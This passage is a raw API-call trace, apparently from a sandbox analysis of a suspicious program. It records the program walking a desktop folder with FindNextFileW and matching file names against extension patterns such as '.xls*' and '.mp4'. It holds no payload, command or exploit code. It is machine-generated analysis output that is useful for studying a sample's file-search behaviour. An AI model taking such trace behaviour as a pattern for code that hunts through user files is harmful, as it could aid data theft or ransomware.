pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a") returned 1 [0165.694] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a", len=0x2d | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a") returned 1 [0165.694] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a", len=0x2c | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a") returned 1 [0165.694] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Bz_F8s0z-5iuOC.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a") returned 1 [0165.694] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a", len=0x2c | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a") returned 1 [0165.694] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a") returned 1 [0165.695] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb51c74a0, ftCreationTime.dwHighDateTime=0x1d5e2fa, ftLastAccessTime.dwLowDateTime=0xf92673b0, ftLastAccessTime.dwHighDateTime=0x1d5e5d1, ftLastWriteTime.dwLowDateTime=0xf92673b0, ftLastWriteTime.dwHighDateTime=0x1d5e5d1, nFileSizeHigh=0x0, nFileSizeLow=0x18739, dwReserved0=0x0, dwReserved1=0x0, cFileName="cP994yD UhaiThHzcL.png", cAlternateFileName="CP994Y~1.PNG")) returned 1 [0165.695] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Bz_F8s0z-5iuOC.m4a", psz="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png") returned 1 [0165.695] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png", len=0x31 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png") returned 1 [0165.695] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png", psz="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png") returned 1 [0165.695] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png", len=0x30 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png") returned 1 [0165.695] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\cP994yD UhaiThHzcL.png", psz="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png") returned 1 [0165.695] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png", len=0x30 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png") returned 1 [0165.695] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png", psz="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png") returned 1 [0165.696] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13622db0, ftCreationTime.dwHighDateTime=0x1d5e4e6, ftLastAccessTime.dwLowDateTime=0x34f77110, ftLastAccessTime.dwHighDateTime=0x1d5dbdb, ftLastWriteTime.dwLowDateTime=0x34f77110, ftLastWriteTime.dwHighDateTime=0x1d5dbdb, nFileSizeHigh=0x0, nFileSizeLow=0x4ddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CY90F6twN6.gif", cAlternateFileName="CY90F6~1.GIF")) returned 1 [0165.696] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\cP994yD UhaiThHzcL.png", psz="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif") returned 1 [0165.696] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif", len=0x29 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif") returned 1 [0165.696] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif", len=0x29 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif") returned 1 [0165.696] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif", len=0x28 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif") returned 1 [0165.696] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\CY90F6twN6.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif") returned 1 [0165.696] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif", len=0x28 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif") returned 1 [0165.697] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif", len=0x28 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif") returned 1 [0165.697] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="CY90F6twN6.gif", cchWideChar=14, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CY90F6twN6.gif.xls*", lpUsedDefaultChar=0x0) returned 14 [0165.697] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="CY90F6twN6.gif", cchWideChar=14, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CY90F6twN6.gif.xls*", lpUsedDefaultChar=0x0) returned 14 [0165.697] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="CY90F6twN6.gif", cchWideChar=14, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CY90F6twN6.gif.xls*", lpUsedDefaultChar=0x0) returned 14 [0165.697] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x233cf8c0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x233cf8c0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x27b12b60, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0165.697] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\CY90F6twN6.gif", psz="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini") returned 1 [0165.697] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini", len=0x26 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini") returned 1 [0165.697] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini", len=0x26 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini") returned 1 [0165.697] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini", len=0x25 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned 1 [0165.698] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned 1 [0165.698] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini", len=0x25 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned 1 [0165.698] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini", len=0x25 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini") returned 1 [0165.698] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.inigif.xls*", lpUsedDefaultChar=0x0) returned 11 [0165.698] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.inigif.xls*", lpUsedDefaultChar=0x0) returned 11 [0165.698] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.inigif.xls*", lpUsedDefaultChar=0x0) returned 11 [0165.698] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9decb460, ftCreationTime.dwHighDateTime=0x1d5e652, ftLastAccessTime.dwLowDateTime=0xd1b06e10, ftLastAccessTime.dwHighDateTime=0x1d5db8d, ftLastWriteTime.dwLowDateTime=0xd1b06e10, ftLastWriteTime.dwHighDateTime=0x1d5db8d, nFileSizeHigh=0x0, nFileSizeLow=0x69ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dm5f3VUkwE9y6qDCc.mp4", cAlternateFileName="DM5F3V~1.MP4")) returned 1 [0165.698] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\desktop.ini", psz="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4") returned 1 [0165.698] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4", len=0x30 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4") returned 1 [0165.698] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4", len=0x30 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4") returned 1 [0165.699] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4", len=0x2f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4") returned 1 [0165.699] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\Dm5f3VUkwE9y6qDCc.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4") returned 1 [0165.699] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4", len=0x2f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4") returned 1 [0165.699] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4", len=0x2f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4") returned 1 [0165.699] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Dm5f3VUkwE9y6qDCc.mp4", cchWideChar=21, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dm5f3VUkwE9y6qDCc.mp4", lpUsedDefaultChar=0x0) returned 21 [0165.699] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Dm5f3VUkwE9y6qDCc.mp4", cchWideChar=21, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dm5f3VUkwE9y6qDCc.mp4", lpUsedDefaultChar=0x0) returned 21 [0165.699] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Dm5f3VUkwE9y6qDCc.mp4", cchWideChar=21, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dm5f3VUkwE9y6qDCc.mp4", lpUsedDefaultChar=0x0) returned 21 [0165.699] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd95c70, ftCreationTime.dwHighDateTime=0x1d5e79a, ftLastAccessTime.dwLowDateTime=0x107e9b40, ftLastAccessTime.dwHighDateTime=0x1d5e5e2, ftLastWriteTime.dwLowDateTime=0x107e9b40, ftLastWriteTime.dwHighDateTime=0x1d5e5e2, nFileSizeHigh=0x0, nFileSizeLow=0xab4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="JqX9y yF6p3ebyS05B.swf", cAlternateFileName="JQX9YY~1.SWF")) returned 1 [0165.699] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\Dm5f3VUkwE9y6qDCc.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf", len=0x32 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf") returned 1 [0165.699] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf", len=0x32 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf") returned 1 [0165.700] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf", len=0x32 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf") returned 1 [0165.700] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf", len=0x31 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf") returned 1 [0165.700] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\JqX9y yF6p3ebyS05B.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf") returned 1 [0165.700] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf", len=0x31 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf") returned 1 [0165.700] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf", len=0x31 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf") returned 1 [0165.700] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43324060, ftCreationTime.dwHighDateTime=0x1d5e424, ftLastAccessTime.dwLowDateTime=0x8b2df970, ftLastAccessTime.dwHighDateTime=0x1d5e110, ftLastWriteTime.dwLowDateTime=0x8b2df970, ftLastWriteTime.dwHighDateTime=0x1d5e110, nFileSizeHigh=0x0, nFileSizeLow=0x6c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KdMp91WNyIUwz.avi", cAlternateFileName="KDMP91~1.AVI")) returned 1 [0165.700] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\JqX9y yF6p3ebyS05B.swf", psz="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi") returned 1 [0165.701] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi") returned 1 [0165.701] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi") returned 1 [0165.701] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi") returned 1 [0165.701] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\KdMp91WNyIUwz.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi") returned 1 [0165.701] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi") returned 1 [0165.701] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi") returned 1 [0165.701] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="KdMp91WNyIUwz.avi", cchWideChar=17, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KdMp91WNyIUwz.avi.mp4", lpUsedDefaultChar=0x0) returned 17 [0165.701] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="KdMp91WNyIUwz.avi", cchWideChar=17, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KdMp91WNyIUwz.avi.mp4", lpUsedDefaultChar=0x0) returned 17 [0165.701] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="KdMp91WNyIUwz.avi", cchWideChar=17, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KdMp91WNyIUwz.avi.mp4", lpUsedDefaultChar=0x0) returned 17 [0165.701] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a166e0, ftCreationTime.dwHighDateTime=0x1d5e00b, ftLastAccessTime.dwLowDateTime=0x8a282630, ftLastAccessTime.dwHighDateTime=0x1d5e0e4, ftLastWriteTime.dwLowDateTime=0x8a282630, ftLastWriteTime.dwHighDateTime=0x1d5e0e4, nFileSizeHigh=0x0, nFileSizeLow=0x36ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LXTAy4UkKYFVt.mp3", cAlternateFileName="LXTAY4~1.MP3")) returned 1 [0165.702] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\KdMp91WNyIUwz.avi", psz="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3") returned 1 [0165.702] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3", len=0x2c | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3") returned 1 [0165.702] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3", len=0x2c | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3") returned 1 [0165.702] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3", len=0x2b | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3") returned 1 [0165.702] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\\\LXTAy4UkKYFVt.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3") returned 1 [0165.702] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3", len=0x2b | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3") returned 1 [0165.702] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3", len=0x2b | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3") returned 1 [0165.702] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="LXTAy4UkKYFVt.mp3", cchWideChar=17, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LXTAy4UkKYFVt.mp3.mp4", lpUsedDefaultChar=0x0) returned 17 [0165.702] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="LXTAy4UkKYFVt.mp3", cchWideChar=17, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LXTAy4UkKYFVt.mp3.mp4", lpUsedDefaultChar=0x0) returned 17 [0165.702] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="LXTAy4UkKYFVt.mp3", cchWideChar=17, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LXTAy4UkKYFVt.mp3.mp4", lpUsedDefaultChar=0x0) returned 17 [0165.703] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x242f8920, ftCreationTime.dwHighDateTime=0x1d5df15, ftLastAccessTime.dwLowDateTime=0xc4173910, ftLastAccessTime.dwHighDateTime=0x1d5e794, ftLastWriteTime.dwLowDateTime=0xc4173910, ftLastWriteTime.dwHighDateTime=0x1d5e794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P0Hc9z_vVr1Uxdn12a", cAlternateFileName="P0HC9Z~1")) returned 1 [0165.703] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\LXTAy4UkKYFVt.mp3", psz="C:\\Users\\aETAdzjz\\Desktop\\\\P0Hc9z_vVr1Uxdn12a", len=0x2d | out: 